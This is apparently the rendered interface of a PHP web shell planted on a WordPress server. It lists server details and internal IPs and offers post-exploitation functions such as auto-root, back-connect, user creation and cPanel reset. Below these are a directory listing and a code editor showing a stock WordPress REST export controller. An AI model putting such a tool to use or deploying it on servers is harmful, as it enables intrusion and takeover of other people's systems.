Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
owc /
wp-includes /
rest-api /
endpoints /
[ HOME SHELL ]
Name
Size
Permission
Action
class-wp-rest-application-pass...
23.59
KB
-rwxr-x--x
class-wp-rest-attachments-cont...
43.16
KB
-rwxr-x--x
class-wp-rest-autosaves-contro...
13.09
KB
-rwxr-x--x
class-wp-rest-block-directory-...
9.72
KB
-rwxr-x--x
class-wp-rest-block-pattern-ca...
4.55
KB
-rwxr-x--x
class-wp-rest-block-patterns-c...
8.81
KB
-rwxr-x--x
class-wp-rest-block-renderer-c...
5.7
KB
-rwxr-x--x
class-wp-rest-block-types-cont...
23.78
KB
-rwxr-x--x
class-wp-rest-blocks-controlle...
3.17
KB
-rwxr-x--x
class-wp-rest-comments-control...
56.18
KB
-rwxr-x--x
class-wp-rest-controller.php
18.62
KB
-rwxr-x--x
class-wp-rest-edit-site-export...
2.07
KB
-rwxr-x--x
class-wp-rest-global-styles-co...
20.17
KB
-rwxr-x--x
class-wp-rest-global-styles-re...
13.92
KB
-rwxr-x--x
class-wp-rest-menu-items-contr...
31.63
KB
-rwxr-x--x
class-wp-rest-menu-locations-c...
8.32
KB
-rwxr-x--x
class-wp-rest-menus-controller...
16.42
KB
-rwxr-x--x
class-wp-rest-navigation-fallb...
5.07
KB
-rwxr-x--x
class-wp-rest-pattern-director...
12.89
KB
-rwxr-x--x
class-wp-rest-plugins-controll...
27.86
KB
-rwxr-x--x
class-wp-rest-post-statuses-co...
10.08
KB
-rwxr-x--x
class-wp-rest-post-types-contr...
12.63
KB
-rwxr-x--x
class-wp-rest-posts-controller...
94.78
KB
-rwxr-x--x
class-wp-rest-revisions-contro...
24.29
KB
-rwxr-x--x
class-wp-rest-search-controlle...
11.04
KB
-rwxr-x--x
class-wp-rest-settings-control...
10.05
KB
-rwxr-x--x
class-wp-rest-sidebars-control...
15.36
KB
-rwxr-x--x
class-wp-rest-site-health-cont...
9.62
KB
-rwxr-x--x
class-wp-rest-taxonomies-contr...
13.23
KB
-rwxr-x--x
class-wp-rest-templates-contro...
29.74
KB
-rwxr-x--x
class-wp-rest-terms-controller...
33.17
KB
-rwxr-x--x
class-wp-rest-themes-controlle...
19.39
KB
-rwxr-x--x
class-wp-rest-url-details-cont...
20.07
KB
-rwxr-x--x
class-wp-rest-users-controller...
46.23
KB
-rwxr-x--x
class-wp-rest-widget-types-con...
18.32
KB
-rwxr-x--x
class-wp-rest-widgets-controll...
25.86
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-rest-edit-site-export-controller.php
<?php /** * REST API: WP_REST_Edit_Site_Export_Controller class * * @package WordPress * @subpackage REST_API */ /** * Controller which provides REST endpoint for exporting current templates * and template parts. * * @since 5.9.0 * * @see WP_REST_Controller */ class WP_REST_Edit_Site_Export_Controller extends WP_REST_Controller { /** * Constructor. * * @since 5.9.0 */ public function __construct() { $this->namespace = 'wp-block-editor/v1'; $this->rest_base = 'export'; } /** * Registers the site export route. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'export' ), 'permission_callback' => array( $this, 'permissions_check' ), ), ) ); } /** * Checks whether a given request has permission to export. * * @since 5.9.0 * * @return WP_Error|true True if the request has access, or WP_Error object. */ public function permissions_check() { if ( current_user_can( 'edit_theme_options' ) ) { return true; } return new WP_Error( 'rest_cannot_export_templates', __( 'Sorry, you are not allowed to export templates and template parts.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Output a ZIP file with an export of the current templates * and template parts from the site editor, and close the connection. * * @since 5.9.0 * * @return WP_Error|void */ public function export() { // Generate the export file. $filename = wp_generate_block_templates_export_file(); if ( is_wp_error( $filename ) ) { $filename->add_data( array( 'status' => 500 ) ); return $filename; } $theme_name = basename( get_stylesheet() ); header( 'Content-Type: application/zip' ); header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' ); header( 'Content-Length: ' . filesize( $filename ) ); flush(); readfile( $filename ); unlink( $filename ); exit; } }
Close